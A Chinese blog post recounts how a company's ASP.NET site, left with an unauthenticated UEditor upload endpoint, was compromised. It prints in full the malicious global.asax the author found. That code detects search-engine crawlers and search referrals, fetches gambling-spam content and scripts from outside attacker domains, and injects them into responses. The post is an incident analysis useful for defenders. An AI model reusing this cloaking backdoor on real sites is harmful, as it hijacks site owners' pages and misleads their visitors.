首页/经历分享/ 记一次网站被入侵的经历

记一次网站被入侵的经历

作者:神奇   分类:经历分享   时间:2019-05-05 13:26:48  标签:


这是公司的官网,新写的,我的一个同事写的,用的.net mvc,但是她(对,是女的)的经验不足,后台用了百度编辑器,带了个上传接口,没有做任何登录权限检查,就那么的扔到服务器上了。公司的业务基本上都用的套路云的整套(CDN+WAF+DDOS),以上是背景。
有一段时间在搜索引擎上出现被收录的内容里被加料了的现象,加的料都是和菠菜有关,当时就看到视图文件标题被加东西了,但是我们都认为没有后台,而她说没有上传功能,我们还以为是自己的电脑或者是写界面的时候从哪复制进来的,改完就过去了。
五一节前开始出事了,先是晚上的时候,网站目录下的bin等文件夹被删,第二天到公司在网站的上传目录里找到了很多木马;之后套路云监测网站有非法内容,好几个网址被阻断,但是被阻断的网址其实在服务器上都是不存在的,通过查WAF的全量日志发现,被阻断的这几个网址,都是在4月28号左右或之前有通过搜索引擎抓取的记录,拿对应的网址到对应的搜索引擎上搜索,有收录记录。也就是说在当时这个网址是有内容的,而且是非法的内容被阿里云检测到,之后再次访问的时候就会被阻断,这么说服务器上还是有不干净的东西。
最开始的时候怀疑是IIS被加了isapi程序,检查之后没有;之后怀疑是bin文件夹里被加了dll,整个文件夹删除了重新替换也是不行。期间一直跟套路云的技术沟通,后来被套路云忽悠花了5k大洋让他们给做安全检查,那天是4月30号,第二天就是五一假期了。之后发现如果请求的useragent的来源如果是蜘蛛,返回的内容里就会被加料。
五一假期第一天,我那个同事到公司来,又新建了个站,用全新的文件放上去,测试没问题;新建站用原来的文件,测试的话就会被加料。看来问题没有出在IIS上,还是网站的文件有问题。暂时换到新建的这站上用着。

今天,就是在刚刚不久,真正的主角——本帅该出场了,我分析了下问题不是在IIS上,只和网站有关,而且包括web api接口都会被加料,而且会有选择的加料,静态文件可以排除,独立的脚本可以排除,只有放在bin里的dll、根目录下的global.asax,让他们改dll难度太大,而且之前也已经把bin排除掉了,那唯一的可能就是global.asax被加料了,但是根目录下没有global.asax文件,而且文件夹选项已经设置成显示隐藏文件了,先试下到底存不存在这个文件吧,添加一个global.asax文件,提示已经存在,直接用记事本打开global.asax,好家伙,果然被加东西了,下面就把被加的料给大家看一下,顺便看有没有大佬想帮我解这口气,送几百T流量给他:

<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">


    void Application_Error(object sender, EventArgs e) 
{ 
if(Context != null) 
{ 
HttpContext ctx = HttpContext.Current; 
Exception ex = ctx.Server.GetLastError(); 
HttpException ev = ex as HttpException; 
if(ev!= null) 
{ 
if(ev.GetHttpCode() == 404) 
{ 


           string[] spidersString = "sogou,so.com,google,youdao,yahoo,bing,118114,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,sm,uc".ToLower().Split(',');
           string[] refesString = "sogou,so.com,google,youdao,yahoo,bing,118114,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,sm,uc".ToLower().Split(',');
        string Path = "http://www.zhangguorong556666.com/3.php";
        string jsPath = "http://www.ihaveadream666.com/jscp.html";
        string leftPath = "http://www.zhangguorong556666.com/bcleft.php";
        string REFERER = "";
        string user="";
        string urls=Request.Url.ToString();
        string host=Request.Url.Host;
        
                                 string spi2 = "";        
                         string[] spidersString2 = "ao,so.com,360".ToLower().Split(',');        
                         string user2 = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();         
            foreach (string s12 in spidersString2)
            {
               if (user2.IndexOf(s12) != -1)
                {
                    spi2 = "&zz=360";
                    break;                   
                }
            }
                                if (user2.IndexOf("aid") != -1)
                {
                    spi2 =spi2 + "&bb=baidu";  
                }
                        
                        
        if (Request.UrlReferrer != null)
        {
            REFERER = Request.UrlReferrer.ToString().ToLower();
        }
         if (Request.ServerVariables["HTTP_USER_AGENT"] != null)
        {
            user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
        }

        foreach (string s in refesString)
        {
            if (REFERER.IndexOf(s) != -1)
            {
                ctx.ClearError();
                string getjs = get_content(jsPath);
                Response.Write(getjs);
                Response.End();
            }
        }
        foreach (string s in spidersString)
        {
            if (user.IndexOf(s) != -1)
            {
                ctx.ClearError();
                                Response.Clear();
                if (urls.IndexOf("sitemap") != -1)
            {
                string getleft = get_content(leftPath);
                Response.Write(getleft);
                Response.End();
            }
                string gethttp = get_content(Path+"?host="+host+"&urldz="+urls+spi2);
                Response.Write(gethttp );
                Response.End();
            }
        }
//Response.Redirect("/");


        } 

} 
}
}

    void Application_BeginRequest(object sender, EventArgs e)
    {

           string[] spidersString = "Baiduspider,baidu.com,sogou.com,sougou,360Spider".ToLower().Split(',');
        string user="";


         if (Request.ServerVariables["HTTP_USER_AGENT"] != null)
        {
            user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
        }
        foreach (string s in spidersString)
        {
            if (user.IndexOf(s) != -1)
            {
                Response.Clear();
                       string gethttp = get_content("http://www.zhangguorong556666.com/BCleft2.php");
                Response.Write(gethttp);

                }
        }



        }



private string get_content(string p)
        {
                string s = "";
                try
                {
                        System.Net.WebClient client = new System.Net.WebClient();
                        client.Encoding = System.Text.Encoding.GetEncoding("gb2312");
                        s = client.DownloadString(p);
                        client.Dispose();
                }
                catch(Exception ex)
                {
                        Response.Write(""+ex.Message);
                }
                return s;
        }


</script>

温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!

评论:

发表评论:

code